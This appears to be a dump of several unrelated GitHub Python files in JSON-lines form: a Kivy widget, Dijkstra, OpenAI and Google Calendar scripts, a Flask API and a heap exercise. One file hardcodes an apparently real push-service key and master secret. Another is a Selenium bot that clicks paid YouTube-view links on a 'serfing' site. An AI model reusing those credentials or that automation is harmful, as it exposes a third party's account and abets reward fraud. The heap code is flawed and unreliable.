code-block::\n    \n       CupertinoPageControls:\n           background_color: 1, 0, 0, 1\n    \"\"\"\n\n    color_selected = ColorProperty([1, 1, 1, 1])\n    \"\"\"\n    A :class:`~kivy.properties.ColorProperty` defining the color of a dot on :class:`CupertinoPageControls`\n    when not selected\n    \n    .. image:: ../_static/page_controls/color_selected.gif\n    \n    **Python**\n    \n    .. code-block:: python\n    \n       CupertinoPageControls(color_selected=(1, 0, 0, 1))\n    \n    **KV**\n    \n    .. code-block::\n    \n       CupertinoPageControls:\n           color_selected: 1, 0, 0, 1\n    \"\"\"\n\n    color_unselected = ColorProperty([0.2, 0.2, 0.2, 1])\n    \"\"\"\n    Color of a dot on :class:`CupertinoPageControls` when not selected\n    \n    .. image:: ../_static/page_controls/color_unselected.gif\n    \n    **Python**\n    \n    .. code-block:: python\n    \n       CupertinoPageControls(color_unselected=(0.5, 0, 0, 1))\n    \n    **KV**\n    \n    .. code-block::\n    \n       CupertinoPageControls:\n           color_unselected: 0.5, 0, 0, 1\n    \"\"\"\n\n    def on_parent(self, instance, parent):\n        \"\"\"\n        Callback when :class:`CupertinoPageControls` is added to :class:`CupertinoScreenManager`\n\n        :param instance: Instance of class :class:`CupertinoPageControls`\n        :param parent: Instance of :class:`CupertinoScreenManager`\n        \"\"\"\n\n        assert isinstance(parent, CupertinoScreenManager), 'CupertinoPageControls must be added to an ' \\\n                                                           'instance of CupertinoScreenManager'\n        parent.bind(screen_names=self._add_screen, current=self._select_screen)\n\n    def _add_screen(self, instance, name):\n        \"\"\"\n        Callback when a new screen is added to the parent of :class:`CupertinoPageControls`\n\n        :param instance: Instance of class :class:`CupertinoPageControls`\n        :param name: Name of added screen\n        \"\"\"\n\n        self.add_widget(_CupertinoScreen(color_selected=self.color_selected, color_unselected=self.color_unselected))\n\n    def _select_screen(self, instance, name):\n        \"\"\"\n        Callback when a screen of the parent of :class:`CupertinoPageControls`\n        is selected\n\n        :param instance: Instance of class :class:`CupertinoPageControls`\n        :param name: Name of selected screen\n        \"\"\"\n\n        for i in range(len(self.children)):\n            self.children[i].selected = len(self.children) - 1 - i == instance.screen_names.index(name)\n\n    def _change_screen(self, index):\n        \"\"\"\n        Callback when a new screen on :class:`CupertinoPageControls` is selected\n\n        :param index: Index of screen\n        \"\"\"\n\n        if self.tap:\n            self.parent.transition = NoTransition()\n            self.parent.current = self.parent.screen_names[index]\n\n\nclass CupertinoScreenManager(ScreenManager):\n    \"\"\"\n    A Screen Manager widget that also accepts an instance of\n    :class:`CupertinoPageControls`\n    \"\"\"\n\n    def add_widget(self, widget, *args, **kwargs):\n        \"\"\"\n        Callback when a :class:`Screen` or a :class:`CupertinoPageControls` is added to\n        :class:`CupertinoScreenManager`\n\n        :param widget: Widget to be added to :class:`CupertinoScreenManager`\n        \"\"\"\n\n        if isinstance(widget, CupertinoPageControls):\n            super(ScreenManager, self).add_widget(widget)\n        else:\n            super().add_widget(widget)\n","repo_name":"cmdvmd/kivy-cupertino","sub_path":"kivycupertino/uix/page.py","file_name":"page.py","file_ext":"py","file_size_in_byte":5909,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"3"}
+{"seq_id":"27853223585","text":"\"\"\"\nFind the shortest distance between two nodes\nAdapted from: https://dev.to/mxl/dijkstras-algorithm-in-python-algorithms-for-beginners-dkc\n\nSteps:\n1. Create a list of unvisited nodes\n2. Set distance 0 for start node, Inf for the rest\n3. Find distance of neighbors from current node and save if smaller\n4. Remove node from unvisited list\n5. Stop if destination node, or smallest distance between unvisited nodes is Inf.\nIf not repeat from step 3\n\n\"\"\"\n\nfrom collections import deque, namedtuple\n\ninf = float('inf')\nEdge = namedtuple('Edge', 'start, end, cost')\n\n\nclass Graph:\n\n    def __init__(self, edges):\n        self.edges = [self.make_edge(*edge) for edge in edges]\n        all_edges = [[edge.start, edge.end] for edge in self.edges]\n        self.nodes = [item for sublist in all_edges for item in sublist]\n        self.neighbors = {node: set() for node in self.nodes}\n        for edge in self.edges:\n            self.neighbors[edge.start].add((edge.end, edge.cost))\n\n\n    def make_edge(self, start, end, cost=1):\n        return Edge(start, end, cost)\n\n\n    def dijkstra(self, source, dest):\n\n        \"\"\"\n        >>> graph = Graph([\n        ... (\"a\", \"b\", 7),  (\"a\", \"c\", 9),  (\"a\", \"f\", 14), (\"b\", \"c\", 10),\n        ... (\"b\", \"d\", 15), (\"c\", \"d\", 11), (\"c\", \"f\", 2),  (\"d\", \"e\", 6),\n        ... (\"e\", \"f\", 9)])\n        >>> graph.dijkstra(\"a\", \"e\")\n        ['a', 'c', 'd', 'e']\n        \"\"\"\n\n        distances = {node: inf for node in self.nodes}\n        path_nodes = {node: None for node in self.nodes}\n        distances[source] = 0\n        visited = self.nodes.copy()\n\n        while visited:\n            current = min(visited, key=lambda node: distances[node])\n            visited.remove(current)\n\n            # Stop when the minimum distance is Inf\n            if distances[current] == inf:\n                break\n            for neighbor, cost in self.neighbors[current]:\n                alt_route = distances[current] + cost\n                if alt_route < distances[neighbor]:\n                    distances[neighbor] = alt_route\n                    path_nodes[neighbor] = current\n\n\n        path = []\n        while path_nodes[dest] is not None:\n            path.append(dest)\n            dest = path_nodes[dest]\n\n        path.append(source)\n        path.reverse()\n\n        return path\n\n\nif __name__ == '__main__':\n    import doctest\n    import logging\n    import sys\n\n    logging.basicConfig(stream=sys.stderr, level=logging.DEBUG)\n    log = logging.info\n    doctest.testmod()\n","repo_name":"anaerobeth/python-coding-exercises","sub_path":"dijkstra.py","file_name":"dijkstra.py","file_ext":"py","file_size_in_byte":2483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"31677709648","text":"####\n# Projet test d'utilisation de l'API de ChatGPT en Python pour communiquer avec l'IA d'OpenAI \n# Version : 0.1\n# Date : 05/04/2023\n# Author : https://www.commentcoder.com/api-chatgpt/\n###\n\nimport openai\n\nopenai.api_key = \"sk-XXXXXXX\"\n\nresponse = openai.ChatCompletion.create(\n    model=\"gpt-3.5-turbo\",\n    messages=[\n        {\"role\": \"user\", \"content\": \"Quelle distance sépare la terre de la lune ?\"}\n    ]\n)\n\nprint(response)\n\nprint(response.choices[0].message.content)\n\nresponse = openai.ChatCompletion.create(\n    model=\"gpt-3.5-turbo\",\n    messages=[{\n        \"role\": \"user\", \"content\": \"Et pour Jupiter ?\"\n    }]\n)\n\nprint(response.choices[0].message.content)\n\nmessages = []\n\nmessages.append({\"role\": \"system\", \"content\": \"Tu es une IA utile qui répond aux questions posées.\"})\n\nmessages.append({\"role\": \"user\", \"content\": \"Quelle distance sépare la terre de la lune ?\"})\n\ncompletion = openai.ChatCompletion.create(\n    model=\"gpt-3.5-turbo\",\n    messages=messages\n)\n\nprint(completion.choices[0].message.content)\n\nmessages.append({\"role\": \"assistant\", \"content\": completion.choices[0].message.content})\n\nmessages.append({\"role\": \"user\", \"content\": \"Et pour Jupiter ?\"})\n\nfor message in messages:\n    print(message)\n\ncompletion = openai.ChatCompletion.create(\n    model=\"gpt-3.5-turbo\",\n    messages=messages\n)\n\nprint(completion.choices[0].message.content)\n\n","repo_name":"devflo11/chatgpt-test","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"18138781020","text":"from __future__ import print_function\nimport httplib2\nimport os\n\nfrom apiclient import discovery\nimport oauth2client\nfrom oauth2client import client\nfrom oauth2client import tools\n\nimport datetime, calendar\n\nimport json, simplejson\n\ntry:\n    import argparse\n    flags = argparse.ArgumentParser(parents=[tools.argparser]).parse_args()\nexcept ImportError:\n    flags = None\n\n# x=[\n#     {\n#         \"Interview Groups\":\n#             {\n#                 \"150\":\n#                     {\n#                         \"Round1\": \"tommy.barnes\", \n#                         \"Round2\": \"darren.street\", \n#                         \"Round3\": \"jon.watson\"\n#                     }\n#             },\n#         \"Availability\": \n#             None\n#     }\n# ]\n\n# with open ('calendar_repo.json','w') as f:\n#     f.write(json.dumps(x,indent=4,sort_keys=True,separators=(\",\",\": \")))\nglobal calendar_repo\nwith open ('candidate_repo.json','r') as f:\n    calendar_repo = json.load(f)\n# If modifying these scopes, delete your previously saved credentials\n# at ~/.credentials/calendar-python-quickstart.json\nSCOPES = 'https://www.googleapis.com/auth/calendar.readonly'\nCLIENT_SECRET_FILE = 'client_secret.json'\nAPPLICATION_NAME = 'Google Calendar API Python Quickstart'\n\n# def sanitize(string):\n#     return ''.join(c for c in string if c.isalnum() or \\\n#         c == \"_\" or \\\n#         c == \"-\" or \\\n#         c == \"@\" or \\\n#         c == \"(\" or \\\n#         c == \")\" or \\\n#         c == \"/\" or \\\n#         c == \".\" or \\\n#         c == \"+\")\n\ntimeslotCounter = 0\n\ndef weekday(date_string):\n    (year,month,day) = [int(c) for c in str(date_string).split('T')[0].split('-')]\n    return {0: 'Monday',\n            1: 'Tuesday',\n            2: 'Wednesday',\n            3: 'Thursday',\n            4: 'Friday',\n            5: 'Saturday',\n            6: 'Sunday'}[calendar.weekday(year,month,day)]\n\ndef findNextFriday(date_string):\n    date = datetime.datetime.strptime(date_string, '%Y-%m-%dT%H:%M:%S')\n    fridayCount = 0\n    while fridayCount < 2:\n        date = date + datetime.timedelta(days=1)\n        if weekday(str(date)[:10]+'T') == 'Friday':\n            fridayCount += 1\n    return str(date).split(' ')[0]+'T17:00:00-05:00'\n\ndef interviewSlots(start, end, creator, event_summary):\n    date = datetime.datetime.strptime(start[:-6], '%Y-%m-%dT%H:%M:%S')\n    end = datetime.datetime.strptime(end[:-6], '%Y-%m-%dT%H:%M:%S')\n    now_date = start.split('T')[0]\n    next_date = date + datetime.timedelta(hours=1)\n    earliest = datetime.datetime.strptime(now_date+'T08:00:00', '%Y-%m-%dT%H:%M:%S')\n    latest = datetime.datetime.strptime(now_date+'T17:00:00', '%Y-%m-%dT%H:%M:%S')\n    print('e-- ',earliest,'l--',latest, date, next_date, end)\n    # global timeslotCounter\n    first = creator.split('.')[0]\n    first = chr(ord(first[0]) - 32) + first[1:]\n    last = creator.split('.')[1]\n    last = chr(ord(last[0]) - 32) + last[1:]\n    print(first,last)\n    while next_date < end:\n        # print('\"e--', earliest, '\"d--',  date, '\"nd--', next_date, '\"end--', end, '\"l--', latest,'\"', date >= earliest,date < latest)\n        if date >= earliest and date < latest:\n            print(\"Adding availability for %s %s\"%(first,last), \"DATE: \"+str(date).split(' ')[0]+\" TIME: \"+str(date).split(' ')[1]+\"-\"+str(next_date).split(' ')[1])\n            #TODO store availability for each interviewer\n            user = \"%s.%s\" % (first,last)\n            my_dict =   {  \n                            event_summary: {\n                                'start': str(date), \n                                'end': str(next_date) \n                            } \n                        }\n            print('MY_DICT',my_dict)\n            try:\n                calendar_repo[0]['Availability'][0][user].append(my_dict) \n            except:\n                calendar_repo[0]['Availability'][0][user] = []\n                calendar_repo[0]['Availability'][0][user].append(my_dict)\n            raw_input('1')\n        date = next_date\n        next_date = date + datetime.timedelta(hours=1)\n    if next_date - end != datetime.timedelta(0) and date >= earliest and date < latest:\n        if next_date <= latest:\n            print(\"Adding availability for %s %s\"%(first,last), \"DATE: \"+str(end).split(' ')[0]+\" TIME: \"+str(end).split(' ')[1]+\"-\"+str(next_date).split(' ')[1])\n            #TODO store availability for each interviewer\n            #\n            user = \"%s.%s\" % (first,last)\n            my_dict =   {  \n                            event_summary: {\n                                'start': str(end), \n                                'end': str(next_date) \n                            } \n                        }\n            print('MY_DICT',my_dict)\n            try:\n                calendar_repo[0]['Availability'][0][user].append(my_dict) \n            except:\n                calendar_repo[0]['Availability'][0][user] = []\n                calendar_repo[0]['Availability'][0][user].append(my_dict)\n            raw_input('2')\n        else:\n            print(\"Adding availability for %s %s\"%(first,last), \"DATE: \"+str(end).split(' ')[0]+\" TIME: \"+str(end).split(' ')[1]+\"-\"+str(latest).split(' ')[1])\n            #TODO store availability for each interviewer\n            #\n            user = \"%s.%s\" % (first,last)\n            my_dict =   {  \n                            event_summary: {\n                                'start': str(date), \n                                'end': str(latest) \n                            } \n                        }\n            print('MY_DICT',my_dict)\n            try:\n                calendar_repo[0]['Availability'][0][user].append(my_dict) \n            except:\n                calendar_repo[0]['Availability'][0][user] = []\n                calendar_repo[0]['Availability'][0][user].append(my_dict)\n            raw_input('3')\n    elif next_date <= latest and date >= earliest and date < latest:\n        print(\"Adding availability for %s %s\"%(first,last), \"DATE: \"+str(date).split(' ')[0]+\" TIME: \"+str(date).split(' ')[1]+\"-\"+str(end).split(' ')[1])\n        #TODO store availability for each interviewer\n        #\n        user = \"%s.%s\" % (first,last)\n        my_dict =   {  \n                        event_summary: {\n                            'start': str(date), \n                            'end': str(end) \n                        } \n                    }\n        print('MY_DICT',my_dict)\n        try:\n            calendar_repo[0]['Availability'][0][user].append(my_dict) \n        except:\n            calendar_repo[0]['Availability'][0][user] = []\n            calendar_repo[0]['Availability'][0][user].append(my_dict)\n        raw_input('4')\n    elif date >= earliest and date < latest:\n        print(\"Adding availability for %s %s\"%(first,last), \"DATE: \"+str(date).split(' ')[0]+\" TIME: \"+str(date).split(' ')[1]+\"-\"+str(end).split(' ')[1])\n        #TODO store availability for each interviewer\n        #\n        user = \"%s.%s\" % (first,last)\n        my_dict =   {  \n                        event_summary: {\n                            'start': str(date), \n                            'end': str(latest) \n                        } \n                    }\n        print('MY_DICT',my_dict)\n        try:\n            calendar_repo[0]['Availability'][0][user].append(my_dict) \n        except:\n            calendar_repo[0]['Availability'][0][user] = []\n            calendar_repo[0]['Availability'][0][user].append(my_dict)\n        raw_input('5')\n    with open('candidate_repo.json','w') as fh:\n        fh.write(json.dumps(calendar_repo, indent=4, separators=(\",\",\": \")))\n\ndef get_credentials():\n    \"\"\"Gets valid user credentials from storage.\n\n    If nothing has been stored, or if the stored credentials are invalid,\n    the OAuth2 flow is completed to obtain the new credentials.\n\n    Returns:\n        Credentials, the obtained credential.\n    \"\"\"\n    home_dir = os.path.expanduser('~')\n    credential_dir = os.path.join(home_dir, '.credentials')\n    if not os.path.exists(credential_dir):\n        os.makedirs(credential_dir)\n    credential_path = os.path.join(credential_dir,\n                                   'calendar-python-quickstart.json')\n\n    store = oauth2client.file.Storage(credential_path)\n    credentials = store.get()\n    if not credentials or credentials.invalid:\n        flow = client.flow_from_clientsecrets(CLIENT_SECRET_FILE, SCOPES)\n        flow.user_agent = APPLICATION_NAME\n        if flags:\n            credentials = tools.run_flow(flow, store, flags)\n        else: # Needed only for compatibility with Python 2.6\n            credentials = tools.run(flow, store)\n        print('Storing credentials to ' + credential_path)\n    return credentials\n\ndef main():\n    \"\"\"Shows basic usage of the Google Calendar API.\n\n    Creates a Google Calendar API service object and outputs a list of the next\n    10 events on the user's calendar.\n    \"\"\"\n    credentials = get_credentials()\n    http = credentials.authorize(httplib2.Http())\n    service = discovery.build('calendar', 'v3', http=http)\n\n    now = datetime.datetime.utcnow().isoformat() + 'Z' # 'Z' indicates UTC time\n    nextFriday = findNextFriday(now[:-8])\n    print('It is now '+now)\n    print('Getting all upcoming events on the Events List')\n    eventsResult = service.events().list(\n        calendarId='%s@aardv.com'%calendar_repo[0]['Interview Groups'][0]['150']['Round1'], \n        timeMin=now, \n        timeMax=nextFriday,\n        singleEvents=True, \n        orderBy='startTime').execute()\n    # 'aardv.com_87kc5qltg7ec390cn449ck4eps@group.calendar.google.com'\n    events = eventsResult.get('items', [])\n    if not events:\n        print('No upcoming events found.')\n    global candidate_repo\n    for num, event in enumerate(events):\n        start = event['start'].get('dateTime', event['start'].get('date'))\n        end = event['end'].get('dateTime', event['end'].get('date'))\n        start_date = start.split('T')[0]\n        start_time = start.split('T')[1].split('-')[0]\n        time_zone = start.split('T')[1][-6:]\n        end_date = end.split('T')[0]\n        end_time = end.split('T')[1].split('-')[0]\n        try:\n            event_summary = event['summary']\n        except:\n            event_summary = \"busy\"\n        # print(str(num+1)+'.\\t', \n        #     event_summary+'\\n\\t', \n        #     start_date+'\\t', \n        #     start_time+'-'+end_time+'\\t', 'Time Zone: '+time_zone+'\\t', \n        #     weekday(start), \n        #     nextFriday)\n        if '[Interview Slot]' in event_summary:\n            # print(event)\n            print('\\n'+event_summary)\n            creator = event['creator']['email'].split('@')[0]\n            # print('AVAILABLE FROM %s to %s on %s' % (start_time,end_time,start_date))\n            interviewSlots(start,end,creator,event_summary)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"tbarnes94/TMG-ATS-PROJECT","sub_path":"Calendar-App/get-availability.py","file_name":"get-availability.py","file_ext":"py","file_size_in_byte":10775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3139948878","text":"import re\nfrom time import sleep\nfrom moduls import dots_click, choice_item_menu\nfrom selenium.webdriver.support.wait import WebDriverWait\nfrom selenium.webdriver.support import expected_conditions as ESi\n\n\ndef visit_link_youtub_time(driver, list_vis, youtub_links, By):\n    for youtub_link in youtub_links:\n        id_td = re.findall(r'\\d+', youtub_link.get_attribute('onclick'))[0]\n        if id_td not in list_vis:\n            list_vis.append(id_td)\n            item_time = driver.find_element(By.CLASS_NAME, 'ads_' + id_td)\\\n                .find_element(By.CLASS_NAME, 'serf-text')\n            times_visibel = int(re.findall(r'\\d+', item_time.text)[0])\n            return [youtub_link, times_visibel]\n\n\ndef start_taimer():\n    pass\n\n\ndef look_video_youtub(driver, action, By, login):\n    scroll = step_bad = 0\n    steps = 5\n    link_visit = []\n    wait = WebDriverWait(driver, 600)\n\n    choice_item_menu.select_item_menu(driver, action, By, 4)\n    sleep(2)\n\n    wrapper_links = wait.until(ESi.visibility_of_element_located((By.ID, 'contentwrapper')))\n    serfing_links = list(wrapper_links.find_elements(By.CLASS_NAME, 'work-serf'))[2:]\n    steps_to_end = len(serfing_links)\n\n    if steps_to_end == 0:\n        return 'no links watching'\n    driver.get_screenshot_as_file('start.png')\n\n# srart while!\n    for links in serfing_links:\n        driver.switch_to.window(driver.window_handles[0])\n        print('start', steps_to_end)\n\n# blok if start\n        if not steps:\n            scroll += 300\n            if steps_to_end > 70:\n                steps = 5\n            else:\n                steps = 4\n            driver.execute_script(f'window.scrollTo(0, {scroll})')\n\n        if step_bad == 10:\n            return 'Much Bads in Youtub'\n            break\n        steps_to_end -= 1\n        steps -= 1\n        if steps_to_end == 0:\n            return 'Finish look youtub'\n            break\n# blok if end\n# получаем id ссылки\n        td_id = re.findall(r'\\d+', links.get_attribute('id'))[0]\n        try:\n            link_to = links.find_element(By.CSS_SELECTOR, f'#start-ads-{td_id} > span:nth-child(1)')\n            action.click(link_to).perform()\n        except:\n            step_bad += 1\n            print('id no', td_id)\n            continue\n        sleep(2.5)\n# нажимаем на ссылку\n        try:\n            # wait.until(ESi.visibility_of_element_located(By.CLASS_NAME, 'go-link-youtube'))\n            youtub_links = driver.find_elements(By.CLASS_NAME, 'go-link-youtube')\n\n            youtub_link, times_vis = visit_link_youtub_time(driver, link_visit, youtub_links, By)\n            action.click(youtub_link).perform()\n            sleep(2)\n            driver.switch_to.window(driver.window_handles[1])\n        except:\n            step_bad += 1\n            print('no youtub link')\n            continue\n# переходим на другую вкладку и запускаем видео\n#         try:\n#\n#             frame = driver.find_element(By.XPATH, ' html / body / table / tbody / tr[2] / td / iframe')\n#             driver.switch_to.frame(frame)\n#             play_btn = driver.find_element(By.CLASS_NAME, 'ytp-large-play-button')\n#             action.click(play_btn).perform()\n#             driver.switch_to.default_content()\n#         except:\n#             print('Problem in play')\n#             driver.close()\n#             continue\n#\n        dots_click.dot_click(action, {'x': (300, 650), 'y': (250, 600)})\n        sleep(times_vis + 3)\n\n        # capcha_blok = driver.find_element(By.ID, 'capcha-tr-block')\n        # wait.until(ECi.visibility_of(capcha_blok))#\n\n        driver.close()\n","repo_name":"SergeyR89/Avizo_avtomat","sub_path":"moduls/look_youtub.py","file_name":"look_youtub.py","file_ext":"py","file_size_in_byte":3628,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3904643242","text":"# -*- coding: utf-8 -*-\n# @Time    : 2018/12/27 2:40 PM\n# @Author  : waitWalker\n# @Email   : waitwalker@163.com\n# @File    : MTTPushNotificationManager.py\n# @Software: PyCharm\nfrom .notification import AndroidNotification, IosNotification\n\nkey = \"5b737e3ea40fa31a7b000721\"\nsecret = \"rj3j31g6gxl4xlsu8j4h1k8fstslvss2\"\nclass MTTPushNotificationManager(object):\n\n    def __init__(self):\n        self.app_key = \"\"\n\n    def push_notification(self, description, push_body, app_version, production_mode=True, title=\"\", subtitle=\"\", ptype=\"groupcast\"):\n        noti = IosNotification(app_key=key, master_secret=secret, ptype=ptype)\n        noti.production_mode = production_mode\n        noti.filter = {\n            \"where\": {\n                    \"and\": [{\"app_version\": app_version}]\n                }\n        }\n        noti.sound = \"default\"\n        noti.description = description\n        noti.alert = {\"title\": title,\n                      \"subtitle\": subtitle,\n                      \"body\": push_body\n                      }\n        noti.send()\n","repo_name":"waitwalker/PetAPI","sub_path":"PsuhManager/MTTPushNotificationManager.py","file_name":"MTTPushNotificationManager.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"3"}
+{"seq_id":"24742983723","text":"#!/bin/python3\n\nimport math\nimport os\nimport random\nimport re\nimport sys\n\n#\n# Complete the 'maxMin' function below.\n#\n# The function is expected to return a LONG_INTEGER_ARRAY.\n# The function accepts following parameters:\n#  1. STRING_ARRAY operations\n#  2. INTEGER_ARRAY x\n#\n\ndef maxMin(operations, x):\n    # Write your code here\n    \"\"\"\n    Make a max heap and a min heap.\n    Return the product of both roots.\n    \"\"\"\n    maxim= []\n    minim= []\n    max_min= []\n\n    for index in range(len(x)):\n        if operations[index]== 'push':\n            insert_max_heap(maxim, x[index])\n            insert_min_heap(minim, x[index])\n\n        if operations[index]== 'pop':\n            cur_max= maxim.index(x[index])\n            remove_max_heap(maxim, cur_max)\n            cur_min= minim.index(x[index])\n            remove_min_heap(minim, cur_min)\n\n        max_min.append(maxim[0]*minim[0])\n\n    return max_min\n\ndef fix_max_heap(heap, index):\n    \"\"\"\n    Fix max binary heap (tree) from index.\n    If index==0, equivalent to fixing the\n    entire heap.\n    \"\"\"\n    # no child nodes\n    if 2*index+1 >= len(heap):\n        return\n        \n    # only 1 child node\n    if 2*index+2 >= len(heap):\n        if heap[index]<heap[2*index+1]:\n            heap[index], heap[2*index+1]= heap[2*index+1], heap[index]\n        return\n\n    # 2 child nodes\n    if heap[index]<heap[2*index+1] or heap[index]<heap[2*index+2]:\n        larger= 2*index+1 if heap[2*index+1]>heap[2*index+2] else 2*index+2\n        heap[index], heap[larger]= heap[larger], heap[index]\n        return fix_max_heap(heap, larger)\n\ndef fix_min_heap(heap, index):\n    \"\"\"\n    Fix min binary heap (tree) from index.\n    If index==0, equivalent to fixing the\n    entire heap.\n    \"\"\"\n    # no child nodes\n    if 2*index+1 >= len(heap):\n        return\n\n    # only 1 child node\n    if 2*index+2 >= len(heap):\n        if heap[index]>heap[2*index+1]:\n            heap[index], heap[2*index+1]= heap[2*index+1], heap[index]\n        return\n\n    # 2 child nodes\n    if heap[index]>heap[2*index+1] or heap[index]>heap[2*index+2]:\n        smaller= 2*index+1 if heap[2*index+1]<heap[2*index+2] else 2*index+2\n        heap[index], heap[smaller]= heap[smaller], heap[index]\n        return fix_min_heap(heap, smaller)\n\ndef insert_max_heap(heap, element):\n    \"\"\"\n    Insert element into max heap\n    \"\"\"\n    heap.insert(0, element)\n    fix_max_heap(heap, 0)\n\ndef insert_min_heap(heap, element):\n    \"\"\"\n    Insert element into min heap\n    \"\"\"\n    heap.insert(0, element)\n    fix_min_heap(heap, 0)\n\ndef remove_max_heap(heap, index):\n    \"\"\"\n    Remove from max heap at index\n    \"\"\"\n    heap[index]=heap[-1]\n    heap.pop()\n    fix_max_heap(heap, index)\n\ndef remove_min_heap(heap, index):\n    \"\"\"\n    Remove from min heap at index\n    \"\"\"\n    heap[index]=heap[-1]\n    heap.pop()\n    fix_min_heap(heap, index)\n\nif __name__ == '__main__':\n    fptr = open(os.environ['OUTPUT_PATH'], 'w')\n\n    operations_count = int(input().strip())\n\n    operations = []\n\n    for _ in range(operations_count):\n        operations_item = input()\n        operations.append(operations_item)\n\n    x_count = int(input().strip())\n\n    x = []\n\n    for _ in range(x_count):\n        x_item = int(input().strip())\n        x.append(x_item)\n\n    result = maxMin(operations, x)\n\n    fptr.write('\\n'.join(map(str, result)))\n    fptr.write('\\n')\n\n    fptr.close()\n","repo_name":"sl33pingmathrapt0r/LeetCode.et.al","sub_path":"Heap - Priority Queue/Product_of_Min_Max_in_Dataset.py","file_name":"Product_of_Min_Max_in_Dataset.py","file_ext":"py","file_size_in_byte":3356,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"43101784489","text":"from flask import Flask, jsonify, redirect, request\nfrom flask_cors import CORS\n\n# Import PaLM Service functions\nfrom palm_service import *\n\napp = Flask(__name__)\nCORS(app)\n\n# Start Enpoint\n@app.route('/ping', methods=['GET'])\n\ndef ping():\n    # Test value\n    (test) = True\n\n    if (test):\n        # Success\n        response = {\n        'message': 'Pong!'\n        }\n        print('Received ping.\\n')\n        return jsonify(response), 200\n\n    # Error\n    response = {\n        'message': 'Error!'\n    }\n    return jsonify(response), 500\n\n# Playlist generation endpoint\n@app.route('/query', methods=['GET'])\n\ndef query():\n    message = request.args.get('message')  # Retrieve the 'message' parameter from the query string\n\n    # Replace hashtags with spaces\n    message = message.replace('#', ' ')\n    \n    print('Processing request: ' + message + '\\n')\n\n    if (message == None):\n        # Error\n        response = {\n            'message': 'No message provided!'\n        }\n        return jsonify(response), 400\n\n    else:\n        playlist = prompt(message)\n\n        if (playlist):\n            # Success\n            response = {\n            'message': 'Received: ' + message,\n            'response': playlist\n            }\n            return jsonify(response), 200\n        else:\n            # Error\n            print('Error: Unable to generate playlist.\\n')\n            response = {\n                'message': 'Unable to generate playlist.'\n            }\n            return jsonify(response), 500\n\n# Audio endpoint\n@app.route('/audio', methods=['GET'])\ndef get_audio():\n    video_id = request.args.get('id')  # Retrieve the 'id' parameter from the query string\n\n    if video_id is None:\n        response = {\n            'message': 'No video ID provided!'\n        }\n        return jsonify(response), 400\n\n    audio_url = f\"https://vid.puffyan.us/latest_version?id={video_id}&itag=140\"\n\n    try:\n        return redirect(audio_url)  # Redirect the user to the audio URL\n    except Exception as e:\n        # Error\n        print('Error:', e)\n        response = {\n            'message': 'Error redirecting to audio URL!'\n        }\n        return jsonify(response), 500\n\n\nif __name__ == '__main__':\n    app.run(host='0.0.0.0', port=5000, debug=True)","repo_name":"MitchellZ/Playlist-AI-API","sub_path":"playlist_api.py","file_name":"playlist_api.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"27473094388","text":"import binascii\nimport serial\nimport numpy as np\nimport csv\nimport os\nfrom pathlib import Path\n\n# Usage\n# 1. Adjust EXPERIMENT_SUFFIX\n# 2. From the root folder of the project, launch: python3 Analysis/Scripts/read_data_bulk.py\n# 3. Move frequencies and responses to their folder manually\n\n# General configuration\nREAD_NUMBER = 100\nEXPERIMENT_SUFFIX = \"_EVAL6_REP13\"\nOUT_DIR = \"Analysis/Data/TERO_AA\"\n\ndef i2b (i):\n    return i.to_bytes(length = 1, byteorder=\"little\",signed=False)\n\ndef save_csv(array, name):\n    name = str(Path(OUT_DIR) / Path(os.path.splitext(name)[0] + EXPERIMENT_SUFFIX + \".csv\"))\n    existing_data = []\n    # Check if another csv exists\n    if os.path.exists(name):\n        # Read csv\n        with open(name, 'r') as f:\n            reader = csv.reader(f)\n            for row in reader:\n                existing_data.append(row)\n    # Add another column\n    for i in range(0, len(array)):\n        if i < len(existing_data):\n            existing_data[i].append(array[i])\n        else:\n            existing_data.append([array[i]])\n    # Write changes\n    with open(name, 'w') as f:\n        # create the csv writer\n        writer = csv.writer(f)\n        for row in existing_data:\n            # write a row to the csv file\n            writer.writerow(row)\n\n# -------------\n#   2 Comp \n# -------------\nCHALLENGE_TO_PARAMS = []\ndef generate_challenge_to_params():\n    # 0,1\n    # ...\n    # 0,15\n    # 1,2\n    # ...\n    # 1,15\n    # ...\n    # 14,15\n    for i in range(0, 16):\n        for j in range(i+1, 16):\n            CHALLENGE_TO_PARAMS.append([i,j])\n\ndef group_frequencies(freqs):\n    freqs = np.array(freqs, dtype=np.int)\n    # Based on the assumption we have 8 different cell types, we group each type in the right column\n    NUM_INSTANCES = freqs.shape[0]  # 1280\n    NUM_TYPES = 8\n    BATCH_SIZE = 16\n    batchArray = np.zeros((int(NUM_INSTANCES/NUM_TYPES),NUM_TYPES))\n    for instance_type in range(0, NUM_TYPES):\n        batchArray[:,instance_type] = freqs[instance_type::NUM_TYPES] # from the starting index, we sample every 8 elements\n    # batcharray: 160x8\n    BATCH_COLUMNS = int(NUM_INSTANCES/BATCH_SIZE)   # 80\n    fpgaBatch = np.zeros((BATCH_SIZE, BATCH_COLUMNS))\n    col = 0\n    for instance_type in range(0,NUM_TYPES):\n        # get old column\n        current_col = batchArray[:,instance_type]\n        # create 10 new columns\n        for index in range(0, len(current_col), BATCH_SIZE):\n            fpgaBatch[:,col] = current_col[index:index+BATCH_SIZE]\n            col += 1\n        # continue for each of the 8 columns (8x10 = 80 columns)\n    # set the new batch\n    return fpgaBatch\n\ndef generate_unique_id(i,j, grouped_frequencies):\n    assert i!=j\n    NUM_BATCHES = grouped_frequencies.shape[1]\n    response = np.zeros((NUM_BATCHES))\n    for currBatch in range (0,NUM_BATCHES): #num of batches\n            